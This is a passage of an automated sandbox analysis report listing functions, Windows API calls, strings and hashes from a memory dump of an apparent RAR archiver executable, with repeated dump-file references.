Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryFreeLibrary$FullNamePath
String ID: MAPI32.DLL$MAPIFreeBuffer$MAPIResolveName$MAPISendMail$SMTP:
API String ID: 3483800833-4165214152
Opcode ID: 82dc930b34210fedd93bec5e1b637e758aa3da92834b2e3210ac5e6653bbd87a
Instruction ID: 1a2218251afdd7fbbed5a62d8163886f9ed6d097ea730f2d1eb4e738933e1764
Opcode Fuzzy Hash: 82dc930b34210fedd93bec5e1b637e758aa3da92834b2e3210ac5e6653bbd87a
Instruction Fuzzy Hash: 0BC15F32A0DE8285EB14EF21D8502EEA7A0FF85BA4F844435DA5E47B95EF3CD549CB10

Function 00007FF71D2FB57C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF71D2FB593
OpenProcessToken.ADVAPI32 ref: 00007FF71D2FB5A6
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF71D2FB5BE
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF71D2FB5EF
ExitWindowsEx.USER32 ref: 00007FF71D2FB602
ExitWindowsEx.USER32 ref: 00007FF71D2FB637

Strings

SeShutdownPrivilege, xrefs: 00007FF71D2FB5B7

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ExitProcessTokenWindows$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3729174658-3733053543
Opcode ID: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction ID: 5e6e35e4cb28782ad9dcff56e864a78d4be43c26ee92d04bdcf2e38b1ddf55a7
Opcode Fuzzy Hash: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction Fuzzy Hash: 6B218132E1CE5282F790AB20E4553BAF261EB84764FD09039D95E06954EF3DD44D8F20

Function 00007FF71D2CE21C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,00000001,?,00007FF71D2B2014), ref: 00007FF71D2CE298
FindClose.KERNEL32(?,?,?,00000001,?,00007FF71D2B2014), ref: 00007FF71D2CE2AB
CreateFileW.KERNEL32(?,?,?,00000001,?,00007FF71D2B2014), ref: 00007FF71D2CE2F7

Part of subcall function 00007FF71D2CEF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF71D2CEE47), ref: 00007FF71D2CEF73
Part of subcall function 00007FF71D2CEF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF71D2CEE47), ref: 00007FF71D2CEF84
Part of subcall function 00007FF71D2CEF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF71D2CEFA7
Part of subcall function 00007FF71D2CEF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF71D2CEFCA
Part of subcall function 00007FF71D2CEF50: GetLastError.KERNEL32 ref: 00007FF71D2CEFD4
Part of subcall function 00007FF71D2CEF50: CloseHandle.KERNEL32 ref: 00007FF71D2CEFE7

DeviceIoControl.KERNEL32 ref: 00007FF71D2CE357
CloseHandle.KERNEL32(?,?,?,00000001,?,00007FF71D2B2014), ref: 00007FF71D2CE362

Strings

SeBackupPrivilege, xrefs: 00007FF71D2CE27E

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Close$FileFindHandleProcessToken$AdjustControlCreateCurrentDeviceErrorFirstLastLookupOpenPrivilegePrivilegesValue
String ID: SeBackupPrivilege
API String ID: 3094086963-2429070247
Opcode ID: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction ID: 2f74da3abde9736c0bd4614a57b1e0d19d7675026c3e46521cca0e7f5e74c020
Opcode Fuzzy Hash: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction Fuzzy Hash: 16619432A1CA8186E724AB15E4452F9E360FB447B4FC04239DB6E17AD4EF3CE559CB20

Function 00007FF71D2EAF0C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 427COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF71D2EAFA0

Part of subcall function 00007FF71D2FB6D0: Sleep.KERNEL32(?,?,?,?,00007FF71D2CCBED,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2FB730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2EB185
new.LIBCMT ref: 00007FF71D2EB18F

Strings

%ls%0*u.rev, xrefs: 00007FF71D2EB170
, xrefs: 00007FF71D2EB2B6

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Sleepswprintf
String ID: $%ls%0*u.rev
API String ID: 407366315-3491873314
Opcode ID: e3b4538fc488e6fa3eae94769406cf09f50ae20544565ed87ad815caa45bc0f7
Instruction ID: 7e7b98179d98600a0ca7e10996f2f2a9757670c827bd6ddd5037b4953c700906
Opcode Fuzzy Hash: e3b4538fc488e6fa3eae94769406cf09f50ae20544565ed87ad815caa45bc0f7
Instruction Fuzzy Hash: 81020832A0CA9286EB20FF15D4542ADF3A5FB887A4F810135DE6D57795EE3CE449CB20

Function 00007FF71D2B49B8 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 372COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF71D2B4BD8

Part of subcall function 00007FF71D2FB6D0: Sleep.KERNEL32(?,?,?,?,00007FF71D2CCBED,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2FB730

Part of subcall function 00007FF71D2D1E80: CreateFileW.KERNELBASE ref: 00007FF71D2D1F4A
Part of subcall function 00007FF71D2D1E80: GetLastError.KERNEL32 ref: 00007FF71D2D1F59
Part of subcall function 00007FF71D2D1E80: CreateFileW.KERNELBASE ref: 00007FF71D2D1F99
Part of subcall function 00007FF71D2D1E80: GetLastError.KERNEL32 ref: 00007FF71D2D1FA2
Part of subcall function 00007FF71D2D1E80: SetFileTime.KERNEL32 ref: 00007FF71D2D1FF1

Strings

%12s %s, xrefs: 00007FF71D2B4E58
%12s %s, xrefs: 00007FF71D2B4E8E
%s, xrefs: 00007FF71D2B4EAF
, xrefs: 00007FF71D2B4F01

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$SleepTime
String ID: %12s %s$%12s %s$ $%s
API String ID: 2965465231-221484280
Opcode ID: 205973a013b23f23469f2857c4eaa0cafb1c0791afa8c1efee3731e28bb9fad9
Instruction ID: 9b09a972e36586208794350009f9412976a745877516b6a1b717962fe6781826
Opcode Fuzzy Hash: 205973a013b23f23469f2857c4eaa0cafb1c0791afa8c1efee3731e28bb9fad9
Instruction Fuzzy Hash: D8F1B222B0DE4285EB60EB11D0902BEE751FB48BA8FC44435DA5D07785EFBCD65ACB20

Function 00007FF71D314C10 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF71D314C89
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF71D314CA1
RtlVirtualUnwind.KERNEL32 ref: 00007FF71D314CDC
IsDebuggerPresent.KERNEL32 ref: 00007FF71D314D15
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF71D314D1F
UnhandledExceptionFilter.KERNEL32 ref: 00007FF71D314D2A

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction ID: 9b63bf34a8642a4f8cc2e0b614a5d0c27111c790a9266ee7fe727916a1aa12b3
Opcode Fuzzy Hash: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction Fuzzy Hash: 2D314136618F81C6DB60DF25E8402AEF3A5FB84764F940139EA9D43B55EF38D159CB10

Function 00007FF71D2CEF50 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF71D2CEE47), ref: 00007FF71D2CEF73
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF71D2CEE47), ref: 00007FF71D2CEF84
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF71D2CEFA7
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF71D2CEFCA
GetLastError.KERNEL32 ref: 00007FF71D2CEFD4
CloseHandle.KERNEL32 ref: 00007FF71D2CEFE7

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction ID: 03e52fd1b17eb2ac5f3555ced7731b02c26694963659877a1c4a3e709ff9611c
Opcode Fuzzy Hash: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction Fuzzy Hash: 2F113032A1CB4186E750AF61F44056AF7A5FB88B90F944539EA8E43A28EF3CD44DCF50

Function 00007FF71D2B42E0 Relevance: 6.3, APIs: 4, Instructions: 344COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2B72C4: new.LIBCMT ref: 00007FF71D2B73DE

Part of subcall function 00007FF71D2B8010: SetLastError.KERNEL32 ref: 00007FF71D2B803D

new.LIBCMT ref: 00007FF71D2B448C
new.LIBCMT ref: 00007FF71D2B44C5
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D2B4573
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D2B4584

Part of subcall function 00007FF71D2CCA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF71D2CCEDE

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ExceptionThrow$ErrorLaststd::bad_alloc::bad_alloc
String ID:
API String ID: 3116915952-0
Opcode ID: 182d738b03a18d4550a6de197fa6bd4041aa5ae2408643a047cd3678e056e4d0
Instruction ID: a47a6110ce7fb2f2235f6ef73dd6d9c557b998d1cabf461b4779d6e5757782f4
Opcode Fuzzy Hash: 182d738b03a18d4550a6de197fa6bd4041aa5ae2408643a047cd3678e056e4d0
Instruction Fuzzy Hash: 46E17722A1CE8685EA20FB25D4501FDA361FF897A4F945032DE5D07796EE7CD60ACB20

Function 00007FF71D2D3A70 Relevance: 6.1, APIs: 4, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,00007FF71D2D11B0,?,?,?,00000000,?,?,00007FF71D2CF30F,00000000,00007FF71D2B6380,?,00007FF71D2B2EC8), ref: 00007FF71D2D3AC4
CreateFileW.KERNEL32(?,?,?,00007FF71D2D11B0,?,?,?,00000000,?,?,00007FF71D2CF30F,00000000,00007FF71D2B6380,?,00007FF71D2B2EC8), ref: 00007FF71D2D3B0A
DeviceIoControl.KERNEL32 ref: 00007FF71D2D3B55
CloseHandle.KERNEL32(?,?,?,00007FF71D2D11B0,?,?,?,00000000,?,?,00007FF71D2CF30F,00000000,00007FF71D2B6380,?,00007FF71D2B2EC8), ref: 00007FF71D2D3B60

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CreateFile$CloseControlDeviceHandle
String ID:
API String ID: 998109204-0
Opcode ID: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction ID: 5d3b287e4493831462a299b8443226114bf726c60055acc31d3986cca481fbc4
Opcode Fuzzy Hash: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction Fuzzy Hash: 1D318032A18E8186E6609F11F44469AF7A4FB887F4F404235EAA913BD4EF3CC5598F10

Function 00007FF71D2B8884 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

CMT, xrefs: 00007FF71D2B8D2A

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: a16dee74380204c9c30fa4e199fe9bf2e4989a6c72111b3352134e7331b26900
Instruction ID: cf4f0187797cadf78f58ba54faca7d0772cecea6ff5ebd6b4826b095214c8a45
Opcode Fuzzy Hash: a16dee74380204c9c30fa4e199fe9bf2e4989a6c72111b3352134e7331b26900
Instruction Fuzzy Hash: 8BD11B62A0CE8285EA24FB21D4501BDE350FF497A0F944532DA6E477D5EFBCE249CB20

Function 00007FF71D3186D4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D318704

Part of subcall function 00007FF71D314E3C: GetCurrentProcess.KERNEL32(00007FF71D319CC5), ref: 00007FF71D314E69

Strings

., xrefs: 00007FF71D318B24
*?, xrefs: 00007FF71D31872B

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction ID: 64d5ec9cd9896f1ec7e7edbb9f5847b990ef7bc0e0c6ef843cb0355aa6a0c831
Opcode Fuzzy Hash: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction Fuzzy Hash: 6A51D472F18E96D5EB10EFA698004ACE7A4FB44BE8B844539DE1D17B85EF3CD0498724

Function 00007FF71D2FB340 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF71D2FB39A
CheckTokenMembership.ADVAPI32 ref: 00007FF71D2FB3B1
FreeSid.ADVAPI32 ref: 00007FF71D2FB3C2

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction ID: 19ce600ae32a14c4d154e06e93f9f7dfee7abc48958476091da80b5672378542
Opcode Fuzzy Hash: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction Fuzzy Hash: 74113D72F18A01CAE7109F75E4812AEB7B0F748758F80553ADA8D53A58DF3CC1488F10

Function 00007FF71D2D3144 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(00007FF71D2D2684), ref: 00007FF71D2D319F

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
